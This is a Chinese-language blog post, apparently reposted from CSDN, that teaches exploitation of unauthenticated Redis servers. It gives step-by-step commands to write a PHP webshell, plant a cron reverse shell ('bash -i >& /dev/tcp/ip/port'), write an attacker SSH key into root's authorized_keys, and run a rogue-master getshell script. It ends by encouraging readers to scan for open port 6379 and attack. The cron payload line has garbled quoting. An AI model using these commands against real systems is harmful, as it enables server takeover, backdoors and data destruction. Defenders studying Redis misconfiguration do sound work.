Redis 未授权访问

这个漏洞造成原因是因为配置不当的问题,没有复杂的利用原理。这个漏洞一般位于内网中,在利用时往往是在尝试能否通过漏洞拿下服务器权限。

目录

Redis未授权访问漏洞简介

漏洞利用条件

漏洞检测

影响版本

漏洞危害

写入Webshell

定时任务反弹shell

写入linux ssh-key公钥

自动化脚本

实际测试思路

参考资料


Redis未授权访问漏洞简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等,Redis服务将会暴露到公网上,以及在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下进行未授权的访问Redis

漏洞利用条件

整个漏洞的利用是建立在配置不当上,我们是在Reids环境里面执行命令,需要我们能够访问登录目标的服务器。

1. Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
   换言之,就是Redis可访问
2. 没有设置密码认证,可以免密码远程登录Redis服务
3. 以root身份运行Redis

利用场景:

  1. Redis暴露在公网上
  2. 在内网中,Redis不出网,但是我们拿了下一台服务器
  3. 通过SSRF

在这样背景下,可以满足Redis访问的条件,接下来只要Redis配置不当和满足高权限即可拿下这台服务器。当然可以直接使用利用脚本。

漏洞检测

一般会使用Nmap对目标机器进行扫描。如果发现主机的6379端口是对外开放的,并且目标主机开放外网访问的情况下,就能够在本机使用redis-cli服务连接目标服务器,然后进行恶意操作

影响版本

Redis 2.x,3.x,4.x,5.x

漏洞危害

  1. 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
  2. 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
  3. 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器 

下面的测试环境是把Redis放在公网上来满足Redis的利用条件

写入Webshell

利用条件:Web 目录权限可读写  注意:部分没目录权限读写权限

  1. config set dir /tmp #设置 WEB 写入目录
  2. config set dbfilename 1.php #设置写入文件名
  3. set test "<?php phpinfo();?>" #设置写入文件代码
  4. bgsave #保存执行
  5. save #保存执行

把phpinfo换成一句话木马即可

定时任务反弹shell

客户端监听端口

服务端:

利用条件:允许异地登录
安全模式 protected-mode 处于关闭状态

  1. config set dir /var/spool/cron
  2. set yy "\n\n\n" " " " " bash -i >& /dev/tcp/ip/port 0>&1\n\n\n"
  3. config set dbfilename x
  4. save

写入linux ssh-key公钥

这个公钥是你在买服务器时,生成本地一个密钥文件,是在服务器上一个文件。

利用条件:

  • 允许异地登录
  • redis服务使用ROOT账号启动
  • 安全模式protected-mode处于关闭状态
  • 允许密钥登录,可以远程写入一个公钥,直接登录远程服务器

原理:原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。

  1. ssh-keygen -t rsa
  2. cd /root/.ssh/
  3. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") >key.txt
  4. cat key.txt | redis-cli -h ip -x set xxx
  5. config set dir /root/.ssh
  6. config set dbfilename authorized_keys
  7. save

测试能否登录:
ssh ip

自动化脚本

项目地址:GitHub - vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

python redis-master.py -r 目标ip -p 9830 -L 自己的ip -p 8888 -f RedisModulesSDK/exp.so -c "id"

实际测试思路

扫描服务器端口,如果发现有6379端口开放,直接尝试Redis未授权打一下。

参考资料

https://www.cnblogs.com/yuzly/p/11663822.html
https://www.freebuf.com/articles/network/304327.html

猜你喜欢

转载自blog.csdn.net/qq_61553520/article/details/130716793